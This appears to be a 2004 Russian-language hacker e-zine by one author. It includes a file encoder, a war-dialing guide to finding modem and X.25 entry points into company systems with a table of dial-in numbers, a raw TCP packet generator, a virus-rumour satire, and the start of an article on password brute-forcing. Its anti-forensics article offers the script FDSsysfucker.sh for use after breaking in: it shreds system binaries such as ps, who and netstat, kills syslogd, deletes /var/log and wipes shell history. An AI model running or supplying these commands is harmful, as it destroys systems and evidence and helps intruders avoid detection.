# 001001001001110100000100111001110011000100000001101111001101110
# 001101100001111001000100000001100110001101111001110010000100000
# 001110100001100101001110011001110100001101001001101110001100111
# 000001010
# root@localhost test# ./FDSEncode.py -d 1 2
# FDSEncode.py v.1.0 - FDS "light lame" file encoder/decoder
# copyright (c) 2004 by b3$t_m0w1 <[email protected]>
# [*] Input file: 1
# [*] Output file: 2
# [*] 22 bytes decoded
# [*] Check result..
# root@localhost test# cat 2
# It's only for testing
# root@localhost test#
try:
import errno
except Exception:
print "errno module import error!"
try:
import sys
except Exception:
print "sys module import error!"
try:
import math
except Exception:
print "math module import error!"
try:
import os
except Exception:
print "os module import error!"
def prompt():
print "\033[1;41mFDSEncode.py v.1.0 - FDS \"light lame\" file encoder/decoder"
print "copyright (c) 2004 by b3$t_m0w1 <[email protected]> \033[0m"
def usage():
print "usage:"
print " for encode: unix# ./FDSEncode.py -e <input file> <output file>"
print " for decode: unix# ./FDSEncode.py -d <input file> <output file>"
sys.exit(0)
def bin2dec(bin):
binary_str_1=""
binary_int_1=0
length=len(bin)
while (length>0):
binary_str_1+=bin[length-1]
length-=1
for loop_1 in xrange(0, len(binary_str_1)):
binary_int_1+=((int(binary_str_1[loop_1]))*(int(math.pow(2, loop_1))))
return binary_int_1
def dec2bin(dec):
dec=int(dec)
binary_str_1=""
binary_str_2=""
if ((dec)==0):
binary_str_2=0
while ((dec)>1):
if (((dec)%2)==0):
binary_str_1+="0"
else:
binary_str_1+="1"
dec-=1
dec=((dec)/2)
if ((dec)==1):
binary_str_1+="1"
length=len(binary_str_1)
while (length>0):
binary_str_2+=binary_str_1[length-1]
length-=1
return binary_str_2
def encode(file_input, file_output):
replaces=0
try:
fi=open(file_input, "rb")
except IOError:
print os.strerror(errno.EIO)+"!"
sys.exit(-1)
print "[*] Input file: "+file_input
try:
fo=open(file_output, "w")
except IOError:
print os.strerror(errno.EIO)+"!"
sys.exit(-1)
print "[*] Output file: "+file_output
cfi=fi.read()
for loop_2 in xrange(0, len(cfi)):
r_len=len(str(dec2bin(ord(cfi[loop_2]))))
f_len=9-(r_len)
if ((f_len)==8):
fo.write("00000000"+str(dec2bin(ord(cfi[loop_2]))))
replaces+=1
elif ((f_len)==7):
fo.write("0000000"+str(dec2bin(ord(cfi[loop_2]))))
replaces+=1
elif ((f_len)==6):
fo.write("000000"+str(dec2bin(ord(cfi[loop_2]))))
replaces+=1
elif ((f_len)==5):
fo.write("00000"+str(dec2bin(ord(cfi[loop_2]))))
replaces+=1
elif ((f_len)==4):
fo.write("0000"+str(dec2bin(ord(cfi[loop_2]))))
replaces+=1
elif ((f_len)==3):
fo.write("000"+str(dec2bin(ord(cfi[loop_2]))))
replaces+=1
elif ((f_len)==2):
fo.write("00"+str(dec2bin(ord(cfi[loop_2]))))
replaces+=1
elif ((f_len)==1):
fo.write("0"+str(dec2bin(ord(cfi[loop_2]))))
replaces+=1
fi.close()
fo.close()
print "[*] "+str(replaces)+" bytes encoded"
print "[*] Check result.."
sys.exit(0)
def decode(file_input, file_output):
replaces=0
try:
fi=open(file_input, "rb")
except IOError:
print os.strerror(errno.EIO)+"!"
sys.exit(-1)
print "[*] Input file: "+file_input
try:
fo=open(file_output, "wb")
except IOError:
print os.strerror(errno.EIO)+"!"
sys.exit(-1)
print "[*] Output file: "+file_output
cfi=fi.read()
for loop_1 in xrange(0, (len(cfi)/9)):
chrcode=bin2dec(cfi[(loop_1*9):((loop_1*9)+9)])
fo.write(chr(chrcode))
replaces+=1
fi.close()
fo.close()
print "[*] "+str(replaces)+" bytes decoded"
print "[*] Check result.."
sys.exit(0)
def main():
prompt()
if (((len(sys.argv))==1) or (sys.argv[1]=="--help")):
usage()
if ((sys.argv[1])=="-e"):
try:
encode(sys.argv[2], sys.argv[3])
except IndexError:
print os.strerror(errno.EINVAL)+"!"
sys.exit(-1)
elif ((sys.argv[1])=="-d"):
try:
decode(sys.argv[2], sys.argv[3])
except IndexError:
print os.strerror(errno.EINVAL)+"!"
sys.exit(-1)
if (__name__=="__main__"): main()
[ end:: FDSgepatitsuid.py :: end ]
,-----------------------------------------------------------------------,
: В поисках системы... Прозвонка, пулы, бесплатные сервисы :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
Данный пэйпер рассчитан на людей, которые никогда в своей практике не осу-
ществляли прозвонку телефонов - как метод поиска точек входа в коммерческие
или иные системы.
Материал представляется "как есть", не претендует на полноту содержания и не
является для автора стандартом "де - факто"! Но всё - таки автор надеется,
что статья кому - либо поможет и откроет глаза на то, что ранее казалось
таким "туманным" и "непонятным".
Итак. В начале необходимо выяснить для каких целей человеку необходимы точки
входа в различные системы. И неважно, какой именно тип она (система) из себя
будет представлять - будь то различные модемные пулы падов х.25 - сетей, BBS
компаний, банков, етс...
Цели могут быть самые разные - проникновение во внутренние сети компаний,
фирм, получение конфиденциальной информации на "скрытых" коммерческих BBS,
изучение систем, влекущимся непомерным энтузиазмом и духом исследователя-ро-
мантика, в конечном итоге изучение глобальных сетей и использование их, как
каналов промежуточной связи или "перевалочных" элементов. Конечно же, этот
список можно продолжать и дальше, но всё будет зависеть от того, на что
именно вы наткнётесь.
Закономерным здесь будет следующий вопрос, ответить на который и постарается
данный документ.
Как искать такие системы?
Хм, выработанных истин здесь нет, но ряд общих "требований" и рекомендаций
существует всегда!
Самым дубовым, так сказать "брутфорсным" методом являлась бы хаотическая про-
звонка номеров телефонов вашего города. И не важно каким бы именно способом
вы её осуществляли - будь то ручным или же посредством различных вар - диале-
ров.
Почему дубовым?
Пример из практики - вы решились прозвонить вручную сет номеров телефонов от
777-00-00 до 777-99-99. На номерах 777-12-12 и 777-12-22 вы нарываетесь на
одного и того же оператора АТС, который находится в явном недоумении - почему
на одном из сервисных номеров городской АТС вам понадобился какой - то
"Дима", а на другом номере, предназначенном для проверки связи с оператором -
"Коля". При условии, что голос был один и тот же, а интервал 9 - и звонков не
превышал и 2 - х минут (с 777-12-13 по 777-12-21 были заняты)?
Согласитесь, ситуация щекотливая, а "мозолить" глаза операторам АТС явно не
входило в ваши планы.
Чтобы в дальнейшем избегать таких неприятных моментов, необходимо чётко пред-
ставлять для себя какие именно номера телефонов принадлежат компаниям, а ка-
кие именно городским АТС.
Решение этой проблеммы не так сложно, как это может показаться на первый
взгляд. Вам всего навсего понадобится телефонный справочник номеров города. Но
здесь есть одно "НО". В природе существует всегда два рода телефонных справоч-
ников. Обыкновенные справочники телефонных номеров города, коими привыкли
пользоваться все наши родители, дяди, тёти, половина безмозглого населения,
етс... И так называемые "электронные базы" телефонных номеров города, которые
представлены в чёткой иерархии с указанием статуса телефона, его принадлежнос-
ти определённой фирме или компании, не говоря уже о том, что указывается име-
ние или неимение модемов, факсов, доступность данного номера населению города,
етс...
Ах, да! Самым любопытным моментом здесь является описание в этих самых "элек-
тронных базах" узловых номеров городских телефонных АТС =) Вот небольшой дамп
из одной такой базы (номера, конечно, фэйковые - так что не нервничайте):
777 - 45 - 001 - АТС-21s [модем]
777 - 03 - 945 - АТС-21s [модем]
777 - 94 - 678 - АТС-21s [городская справочная]
777 - 11 - 511 - АТС-21s [отдел ремонта]
777 - 53 - 222 - АТС-21s [компьютер - касса]
777 - 84 - 367 - АТС-21s [с. группа - компьютер]
777 - 62 - 188 - АТС-21s [электронная почта для сотрудников]
Ну и как вам это? Согласитесь, многообещающе.. Так вот, получив доступ к од-
ной из такой "базе", вы просто - напросто становитесь могущественным челове-
ком, у которого имеется очень много различных и интересных возможностей!
Указанных выше опусов больше не возникнет, да и процент поиска "нужной" сис-
темы увеличиться в несколько раз, так как вы будете чётко представлять всю
картину телефонных номеров вашего города.
Некоторые люди, читая эти строки, возможно несколько не верят в их правдопо-
добность. Это конечно же неудивительно, так как дилетант это всего лишь диле-
тант. Хотя можно привести пару замечаний о добыче подобных "электронных баз"
телефонных номеров города.
Отталкиваться стоит от телефонных компаний вашего города или от одной, если
она является монополистом и держит за задницы всех провайдеров города. Верите
вы мне или нет, но такие "базы" вы можете СЛУЧАЙНО и БЕСПРОБЛЕМНО получить в
"личное пользование". И здесь всю роль играть будет не ваш так сказать "при-
родный" нюх и интелект, а всего навсего хреновая процедура аутентификации сер-
висной BBS телефонной компании.
Также имеется ещё пару аспектов, которые необходимо нам с вами рассмотреть.
Это различные бесплатные сервисы некоторых фирм, компаний, етс..
То есть ситуация такая - есть модемный пул, при дозвоне к нему, вы получаете
доступ к некоторым внутренним сайтам компании, предоставлящие некоторые но-
востные, бизнес и любые другие услуги (всё зависит от доброты менеджеров и
толстых директоров, обкрадывающих свою страну и "друзей"). Так вот, хотя это
и есть системы с бесплатными сервисами, но как правило их модемные пулы из-
вестны далеко не всякому. Круг "избранных Нео" состоит из компаний, банков,
фирм и других фин. институтов и образований, ведущих совместную финансовую
деятельность с нашем виктимом. Этот феномен неудивителен, так как не часто
встретишь человека, который увлекается чтением газет города, посвящённых
экономике, бизнесу, финансам, етс. Также не часто встретишь человека, который
постоянно заходит на www - сайты компаний своего города и интересуется переч-
нем всех сервисов, которые компания предоставляет от своего лица. Ну и в ко-
нечном итоге, не так часто встретишь подростка моего возраста, которого роди-
тели попросить заехать в банк сделать кое - что за них и которому за исполь-
зование услуг банка "дарят" красивый и небольшой буклетик с "О - ЧУДО!!!"
такой нужной нам информацией...
Также хотелось коснуться одного момента - в частности модемных пулов сетей
х.25. Сколько раз я уже видел различные старые материалы с большим перечнем
телефонов. Эти телефоны необходимы для дозвона туда - то, эти сюда - то,
список страшно большой, половина номеров давно "в отрубе"!
Парни! Ситуация не такая конченная, как может показаться на первый взгляд.
Сейчас это проблемма решается очень легко - выходите в интернет, заходите
на поисковик (желательно аналогичный веб - узел вашего города), вводите в
поле поиска нужный вам контент и уииииихаааааааааа!!!!!! щёлкаем на кнопку
"ПОИСК"!
К примеру, в КЗ - зоне интернета вы можете зайти на веб - узел
href:http://astel.kz и ознакомиться с перечнем сервисов компании, списком те-
лефонов, етс.. Так что относитесь к таковым ситуациям менее параноидальнее.
Тем более, что небольшой дамп прилагается в бонусе к этому артиклу.
Пэйпер подходит к концу и хотелось бы в довершении сказать, что данную тему
просвещать можно было бы и дальше, но автор не ставил перед собой цели соз-
дать фундаментальное руководство начинающего фрикера, а попросту продемонст-
рировал некоторые новые и старые приёмы и ограничился повествованием самых
основных и смелых идей.
P.S. KZ NETWORK - KAZNET
+------------+----------+-------+-------------------+-----------------+
|ГОРОД |СКОРОСТЬ |КОД | X.25 | IP |
| |ДОСТУПА |ГОРОДА | ROTARY | ROTARY |
+------------+----------+-------+-------------------+-----------------+
|Астана |IP-28800 |8-3172 |333434 |333235 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Алматы |IP-56000 |8-3272 |507000 |507525 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Актау |IP-28800 |8-3292 |530120 |530122 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Актюбинск |IP-28800 |8-3132 |214114 |215151 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Атырау |IP-28800 |8-31222|24647 |28956, 54202 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Тараз |IP-28800 |8-3262 |457616 |452909 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Жезказган |IP-28800 |8-3102 |769502 |764892 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Караганда |IP-28800 |8-3212 |431112 |430001 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Кокшетау |IP-28800 |8-3162 |257000 |253016 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Костанай |IP-28800 |8-3142 |532266 | |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Кызыл-Орда |IP-28800 |8-32422|70265 |62529 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Павлодар |IP-28800 |8-3182 |327707 |329344 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Петропав - |IP-28800 |8-3152 |469909, 469900 |460799 |
|ловск |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Семипала - |IP-28800 |8-3222 |561303, 560727, |563667, 563668, |
|тинск |X.25-14400| |560781 |563669 |
+------------+----------+-------+-------------------+-----------------+
|Талдыкорган |IP-28800 |8-32822|71117 |73046, 73042, |
| |X.25-14400| | |71218 |
+------------+----------+-------+-------------------+-----------------+
|Темиртау |IP-28800 |8-3213 |911572 |914584 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Уральск |IP-28800 |8-3112 |505225 |511200 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Усть - Каман|IP-28800 |8-3232 |264748 |267831 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
|Шымкент |IP-28800 |8-3252 |534812 |537475 |
| |X.25-14400| | | |
+------------+----------+-------+-------------------+-----------------+
,-----------------------------------------------------------------------,
: Уродование системы как метод обеспечения личной безопасности :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
На сегодняшний день существует достаточное количество документов, описываю-
щих различные методы скрытия своего присутствия во взломанной системе.
Честно говоря методы эти довольно тонкие, а как известно - где тонко, там и
рвётся. Конечно, установленный adore от Stealth'а, может и поможет вам ду-
рить неквалифицированного администратора захудалого бокса, который даже и
понятия (к примеру) не имеет о том, что не так давно вышла новая версия
Rootkit Hunter'а, а вот на серьёзной, какой - либо mil'овской машине такого
не прокатит (пусть хоть и является adore эл кэ эмом, но всё - таки на воен-
ных боксах работают далеко не дураки).
Здесь уже необходимо действовать по - другому. О том, что делать и как дей-
ствовать, и пойдёт речь в данном мини - пэйпере.
Отталкиваться будем от того, что вы заинтересованы только в "точечном уда-
ре", то есть вашей целью будет являться конкретная информация, а не надежда
получения ещё одного шелла.
Итак, первое! Войдя в систему (неважно каким именно путём), проверьте, кто
ещё находиться в ней. Команда who для этих целей вполне подходит:
victim# who
root pts/xx May 20 time (your addr.)
jonny pts/xx May 20 time
marko pts/xx May 20 time
frank pts/xx May 20 time (other addr.)
oniel pts/xx May 20 time (other addr.)
Здесь начинаем думать. Если бы кроме нас здесь никого не было, то мы могли
бы продолжить дальше свои поиски, в принципе не опасаясь, что нас кто - то
заметит. В данном случае всё с точностью до наоборот. Где есть гарантия,
что jonny - это не администратор системы, просто зашедший под другим ни-
ком? Возможно только он один имеет root - доступ к данной машине и его
весьма удивит появление в системе root'а (то есть нас).
С этого момента и начинается настоящая горячая паранойя )) Мы просто обя-
заны себя подстраховать:
victim# shred -uv /usr/bin/who
То же самое производим над командами "w", "rwho", не забывая про "whois".
Спросите, почему именно shred, а не rm? Ответ вполне очевиден: man shred.
Но сразу хочу сказать, что применение этой команды может оказаться не та-
ким эффективным. Всё будет зависеть от типа файловой системы. Так что,
если напоролись на "третью расширенную", то пользуйтесь старым, добрым rm
Команды "finger", "ps" также не сыграют вам на руку, так что не полени-
тесь и их не обойти вниманием. Конечно же "ps" представляет большую угрозу
для вашего обнаружения, так как в процессе вашей несанкционированной дея-
тельности вы возможно будете пользоваться каким - либо warez'ом и запус-
кать процессы.
Также следует произвести быструю разведку системы на предмет различных
сетевых мониторинговых утилит. К месту будет сказано, не забудьте про
/bin/netstat ))
Известно много случаев, когда логи, оставленные взломщиком, на ближайшие
леть пять определяли его "светлое" будующее. Надеюсь, вы об этом думали
с самого начала? Ок'ей, вы правы - сис лог дэ - штука страшная ))
victim# killall -HUP syslogd
victim# rm -rf /var/log
и из этой же категории: удаление $HOME/.bash_history
Это, в принципе, основные моменты, которые никогда не стоит забывать, ре-
шаясь на крупный и быстрый взлом. Я, конечно же, не перечислил все извест-
ные подобные аспекты, но как говорится остальное "уже вариации и ваши соб-
ственные идеи".
Для тех, кто серьёзно воспринял мой мини - пэйпер, прилагаю в конце скрипт,
демонстрирующий основные принципы всего, мною изложенного. Если я что - ли-
бо упустил, вы можете подредактировать FDSsysfucker.sh, добавить недостаю-
щие строки - благо основа уже имеется ))
[ start :: FDSsysfucker.sh :: start ]
#!/bin/bash
#
#################################################################### ###
# FDSsysfucker.sh 2004 (c) by b3$t_m0w1 <[email protected]> #
# anti monitoring, anti watching, anti antifucking, anti antilaming. #
#################################################################### ###
echo -e "\033[6;31m[*] FDSsysfucker.sh 2004 (c) by b3\$t_m0w1 <[email protected]>"
echo -e "[*] anti monitoring, anti watching, anti antifucking, anti antilaming.\033[0m"
if [ $UID != 0 ]; then
echo -e "\033[6;31m\n[*] Permission denied!"
echo -e "[*] System exit.\033[0m"
exit 1
fi
#################################################################### ###
# you can append your own "deleting" lines to the FDSsysfucker.sh! #
# remember, fuck root's (UNIX) & admin's (MS Windows anda other shit), #
# fuck "hacker's", "cracker's" & "leet blackhat's" [& lamer's]! #
#################################################################### ###
echo -e "[*] Deleting /usr/bin/finger program..."
shred -uv /usr/bin/finger
echo -e "[*] Deleting /usr/bin/w program..."
shred -uv /usr/bin/w
echo -e "[*] Deleting /usr/bin/who program..."
shred -uv /usr/bin/who
echo -e "[*] Deleting /usr/bin/whoami program..."
shred -uv /usr/bin/whoami
echo -e "[*] Deleting /usr/bin/whois program..."
shred -uv /usr/bin/whois
echo -e "[*] Deleting /bin/ps program..."
shred -uv /bin/ps
echo -e "[*] Deleting /bin/netstat program..."
shred -uv /bin/netstat
echo -e "[*] Deleting /bin/id program..."
shred -uv /bin/id
echo -e "[*] Stoping syslogd..."
killall -HUP syslogd
echo -e "[*] Deleting /var/log directory..."
rm -rf /var/log
echo -e "[*] Deleting history file..." #
shred -uv $HOME/.bash_history #
echo -e "[*] Hey, leetz! That's all!" #
echo -e "[*] System exit.\033[0m" #
exit 0 ############################# ###
[ end :: FDSsysfucker.sh :: end ]
,-----------------------------------------------------------------------,
: Генерирование сетевых пакетов на свой вкус. Разбор модуля btk :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
Я думаю, всякому программисту на python известны слабые его низкоуровневые
сетевые возможности. Можно сказать смелее - истинную ценность представляют
лишь высокоуровневые функции и переменные, определённые в модуле socket.
Возможно я и не прав, так как скорее всего не имеет смысла докапываться до
того, до тех целей, кои не были предусмотрены самим создателем языка.
Речь пойдёт о модуле btk, написанному на СИ и представляющим возможности
отправления "сырых" пакетов, а также интерфейс к Libpcap.
Авторство btk, а полностью расшифровывается, как "Billy the Kid", принад-
лежит человеку, имеющего ник Gorny ([email protected]). Сайт же доступен в
интернете по адресу href:http://gorny.cjb.net .
В настоящее время рабочая версия 0.5.0 (0.4.4, 0.4.3, 0.4.2, 0.3, 0.2).
Версию 0.5.0 я не пробовал (знаком лишь с 0.4.4), но судя по чейндж логу,
изменения совершенно не повлияли на прежнее удобство работы с btk.
Так как в названии темы фигурирует словосочетание "Генерирование .. паке-
тов ..", интерфейс к Libpcap мы рассматривать не будем. Ограничимся соз-
данием своих собственных пакетов. Так как сам архив с модулем содержит
достаточно понятную и полную документацию, я не буду стараться всё это
здесь изложить. Скорее я укажу основные объекты и их методы.
>>> import btk
>>> dir(btk)
>>> ['ACK', 'CWR', 'ECN', 'FIN', 'ICMP', 'PUSH', 'RST', 'SYN', 'TCP',
'UDP', 'URG', '__doc__', '__file__', '__name__', 'btk', 'pcap', 'version']
Как вы можете, и можете правильно, предположить, btk обеспечивает поддержку
протоколов, строящихся на IP протоколе: ICMP, UDP, TCP:
packet=btk.btk() затем
packet.protocol(btk.protocol_name), где _name это btk.UDP, btk.TCP, btk.ICMP
В данном случае для объекта packet будут доступны следующие методы:
data(s) - данные
flag(i) - установка контрольных битов (SYN, FIN, ACK, URG, RST, PUSH, CWR, ECN)
options(...):
seq - номер очереди (TCP)
ack - номер подтверждения (TCP)
urp - указатель срочный (TCP)
win - окно (TCP)
off - смещение (IP)
tos - тип сервиса (IP)
ttl - время жизни (IP)
и другие.. перечислять их все не имеет никакого смысла
Другими словами, даже для неискушенного дилетанта формирование пакетов
не ограничивается никакими сложностями, так как вся работа ведётся с объек-
тами и их методами. Как говорится, основы программирования ))
Поэтому не составит никакого труда писать такие простые и юзабельные
утилиты, к числу которых принадлежит и следующий скрипт, автоматизирующий
все действия построения tcp - пакета. Скрипт чисто учебный, выступающий
в роли показательного примера.
[ start :: FDSpgen.py :: start ]
#!/usr/bin/env python
#
# FDSpgen.py v.1.0 - TCP packet generator (just objects & methods - not hard)
# copyright (c) 2004 by b3$t_m0w1 <[email protected]>
#
# For `flag' question: 1::SYN 2::FIN
# 3::ACK 4::URG
# 5::RST 6::PUSH
# 7::CWR 8::ECN
# 9::SYN+FIN 10::SYN+ACK
#
# example: [+] flag: 1 - for packet.flag(btk.SYN)
# or [+] flag: 10 - for packet.flag(btk.SYN | btk.ACK)
#
# For usage this python script you must have btk module "Billy the
# Kid" (href:http://gorny.cjb.net). This program tested with btk-0.4.4
#
# *NOTES* For more information look at: rfc0793.txt
indicat = 0
try: import os
except Exception: indicat =+ 1
try: import btk
except Exception: indicat =+ 1
if ((indicat == 0) and ((os.getegid() == 0) and (os.geteuid() == 0))):
print "\033[6;31mFDSpgen.py v.1.0 - TCP packet generator"
print "copyright (c) 2004 by b3$t_m0w1 <[email protected]>\033[0m"
srcIP = raw_input("\033[6;31m[+] src ip: \033[0m")
srcPORT = raw_input("\033[6;31m[+] src port: \033[0m")
dstIP = raw_input("\033[6;31m[+] dst ip: \033[0m")
dstPORT = raw_input("\033[6;31m[+] dst port: \033[0m")
seqnum = raw_input("\033[6;31m[+] seq num: \033[0m")
acknum = raw_input("\033[6;31m[+] ack num: \033[0m")
flag = raw_input("\033[6;31m[+] flag: \033[0m")
win = raw_input("\033[6;31m[+] win: \033[0m")
urg = raw_input("\033[6;31m[+] urg: \033[0m")
data = raw_input("\033[6;31m[+] data: \033[0m")
packet = btk.btk()
packet.protocol(btk.TCP)
if (flag == 1):
packet.flag(btk.SYN)
elif (flag == 2):
packet.flag(btk.FIN)
elif (flag == 3):
packet.flag(btk.ACK)
elif (flag == 4):
packet.flag(btk.URG)
elif (flag == 5):
packet.flag(btk.RST)
elif (flag == 6):
packet.flag(btk.PUSH)
elif (flag == 7):
packet.flag(btk.CWR)
elif (flag == 8):
packet.flag(btk.ECN)
elif (flag == 9):
packet.flag(btk.SYN | btk.FIN)
elif (flag == 10):
packet.flag(btk.SYN | btk.ACK)
if (seqnum != ("")):
packet.options(seq = int(seqnum))
else:
packet.options(seq = 0)
if (acknum != ("")):
packet.options(ack = int(acknum))
else:
packet.options(ack = 0)
if (urg != ("")):
packet.options(urp = int(urg))
else:
packet.options(urp = 0)
if (win != ("")):
packet.options(win = int(win))
else:
packet.options(win = 0)
packet.data(data)
packet.send(dstIP, int(dstPORT), srcIP, int(srcPORT))
else:
print "so1o ;), check your python modules or change your gid anda uid!!"
[ end :: FDSpgen.py :: end ]
Вот и всё, что я хотел вам рассказать о модуле btk. Надеюсь, начинающие
кодеры, пишущие сетевые приложения на python, заведут в своём инструмен-
тарие (вдобавок к модулю "socket") ещё одного шустрого и полезного зверь-
ка.
,-----------------------------------------------------------------------,
: Orthodox Xmas - можно ли в это верить? :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
Пролог.
Однажды я встретил одну женщину. И понеслось ... Бесплатный интернет, номера
кредитных карточек, доступ к мощным производственным ресурсам, ... , етс.
Такая вот она была кредитоспособная. Но "Orthodox Xmas - можно ли в это ве-
рить?" не об этом.
Глава первая и последняя.
Однажды я действительно познакомился с одной женщиной (думаю, возраст значе-
ния не имеет). Как выяснилось в дальнейшем, круг её интересов довольно широк.
А самым огромным увлечением является UFO (на русском языке - НЛО).
Разумеется, я не скрывал, что моим увлечением являются компьютеры, а конкрет-
нее программирование, UNIX (про это ей можно было не говорить - в моей стране
все удивительно ограничиваются платформами win32) и всё такое прочее.
Узнав, о моих интересах, "взрослая подруга" (назовём Ольгой), принялась мне
рассказывать о журнале НЛО от 12.04.2004 г., в котором, в рубрике "Сенсация
наших дней" была опубликована любопытная статья под названием (только не жди-
те что - либо эдакое: "Solar Designer на самом деле.. марсианин!") - "Неведо-
мый даритель". Ольга мне сказала, что, так как я "классный компьютерщик", мне
интересно будет её прочитать (статью, разумеется). На мой вопрос: "Почему?"
последовал ответ: "Там про компьютерный вирус написано.. Фу-у, они действи-
тельно такие страшные?" Я счёл нужным не ответить, а спросить - когда бы я
смог взять у неё этот журнал на пару дней почитать (нет, читаю я быстро; на
пару дней взял по другой причине - чтобы меня успели забыть).
Короче =), я получил этот журнал в свои руки. Вначале прочёл все статьи, кро-
ме "нужной" - я всегда так делаю. Кажется в "Ванильном небе" Том Круз говорил
что-то про оттягивание (или растягивания - точно не помню) удовольствия.
Честно говоря, не думал, что будет написано не про обычный компьютерный ви-
рус, целями которого являлось появления при загрузке системы сообщения с тек-
стом: "Вы атакованы с планеты Нептун!", написанный каким-либо начинающим виру-
сописателем LovinGod'ом, а про "загадочный до самых трусов" инопланетный ви-
рус.
В трёх словах скажу, что Соломон НАФФЕРТ описывает, как "7 января 2004 года
пользователи всемирной сети Интернет подверглись атаке вируса, позднее наз-
ванного Orthodox Xmas ("Православное Рождество"). Вирус представлял собой
исполнительный файл Xmas.exe, прикреплённый к письму. В письме сообщалось,
что с помощью данного файла каждый может оптимизировать работу операционных
систем Windows 9x, ME, XP, в результате чего значительно повысится производи-
тельность даже старых, медленных компьютеров, а уж новые после оптимизации
будут потрясать воображение владельцев."
Как в данной статье, так и в Интернете, где я немного поискал информацию об
"Orthodox Xmas", описывается, как вирус меняет код самой операционной систе-
мы, все приложения, то есть полностью создаёт новую структуру вашей оси..
(сюда же - новый менеджер памяти, оптимизация свопа и много всего другого).
И что самое интересное вся оптимизация происходит в фоновом режиме, то есть
вы спокойно работаете, не выключаете компьютер, вирус пашет в бэкграунде.
В защиту этих слов выступил некто "Виктор К.", как написано в статье - сот-
рудник одной из ведущих российских компаний - производителя антивирусных прог-
рамм (оказывается(!) в России несколько ведущих(!) компаний в области разра-
ботки антивирусного программного обеспечения.. - вот это новость!).
Согласитесь, всё это немного странно и немного (как это тоже не странно) ла-
мовато выглядит! Поднять производительность до таких высот даже на самых ста-
рых машинах при условии изменения самого исходного кода в фоне! Существуют да-
же такие процессы в win системах, которые даже сам дядюшка Билли не сможет
выключить/включить/перезагрузить без перезагрузки всей системы. Тем паче,
что нельзя по всем критериям изменять настолько программный интерфейс с же-
зом без перезагрузки.
Да. И ещё. Как Витя передал - при "тестировании" вируса никаких побочных не-
гативных эффектов не выявили. Но... что самое интересное в статье написано -
"Но вирус есть вирус: даже позитивное действие (МАРАЗМ полный - прим. best_mowi)
является несанкционированным, поэтому 8 января на сайт компании было выложено
обновление (обновление чего интересно? неужели фирма, где трудится Витя, при-
надлежит Microsoft? - вот так то, все наши лучшие отечественные антивирусы,
оказываются от Билли!), позволяющее перехватывать и уничтожать файл Xmas.exe
при получении письма."
И дальше вообще шоу - оказывается, вирус написан на каком - то неизвестном
языке программирования. "А тот, кто его изобрёл", - говорит Витя. - "Совершил
революцию". Так всё - таки какого тогда чёрта писали "обновление", которое
уничтожает в жопу эту "революцию"?
Другими словами, всё это пахнёт "плохими и лживыми парнями". Много неточностей,
ошибок, полных лолов (если уж на то пошло..)! Я имею ввиду всю информацию об
"Orthodox Xmas" (статья в "НЛО", интернет - источники, различные форумы, ...)
А всё аргументируется лишь тем, что на самом деле первоначальная работа вируса
возможно "бесплатный сыр", а что он сделает потом с системой? Хех, интересно,
а кому понадобиться переделывать всю операционную систему, устраивать револю-
цию ради "формата цэ" или "масштабной дос атаки"? НИ - КО - МУ !
Но всё - таки объяснение нашли. И не случайна статья представлена в журнале,
имеющего НЛО - направленность.
Возможно, что всё - таки с Нептуна, а может с Марса, может на худой конец из
Альфы Центавра? хз..
Эпилог
Статья была представлена в журнале для разбавления технических пейперов -
чтобы мозг немного отдохнул.. Её целями не являлось опускалово журнала "НЛО",
а также автора статьи "Неведомый даритель". Просто захотелось разобраться в
этой чертовски нелепой суматохе вокруг "Orthodox Xmas", где иногда проскальзы-
вают подозрительные и "жёлтые" моменты.
ps: Solar Designer на самом деле.. марсианин! =)
,-----------------------------------------------------------------------,
: Кое - что о брутфорсинге :
`-----------------------------------------------------------------------'
by b3$t_m0w1 <[email protected]>
Данная статья явилась плодом моих исследований в области "сетевого брутфор-
синга". Что это такое?
Я думаю, что сейчас нет такого человека, который не знает что это такое.
Конечно, во внимание принимаются люди, так как или иначе интересующиеся
проблемами защиты информации, а не начинающие нью гайзы. Скажу несколько слов
последним.
Т.е. есть бокс (ака сервер), предоставляющий какие - либо услуги. К примеру:
сервисы telnet, ftp, pop3, http и т.д. Пользоваться данными услугами могут
только те люди, которые имеют на то соотвествующие разрешения, а проще гово-
ря - login и password. Их валидность (правильность) проверяется процедурами
идентификации и аутентификации.
В природе имеются также люди, которые зачастую не имеют разрешений на пользо-
вание определёнными сетевыми ресурсами, но сильно хотят их получить для опре-
делённых целей. И тут в дело вступают различные методы получения этих самых
login an password.
Самым ярким (но не исчерпывающим) методом и является брутфорсинг, то есть
простой подбор пароля по словарю или генерирование пароля случайным или пос-
ледовательным образом из набора различных символов (ака латинский алфавит,
цифры, специальные символы). Этот метод "долгий", тупой и, как следствие, са-
мый простой, но (как ни парадоксально) иногда приносящий неожиданные и удач-
ные результаты.
В настоящее время в сети существует немалое количество программных продук-
тов, именующих себя "брутфорсерами". На мой взгляд самым достойным является,
конечно же, гидра (hydra), написанная van Hauser'ом ("The Hackers Choice").
Данная login tool, поддерживает атаку против telnet, ftp, http, ... , vnc,
icq, etc... Может производить атаку по словарю и не только, расспараллели-
вать соединения, кучу всяких других фишек. Вобщем, всё то, что только можно
себе представить.
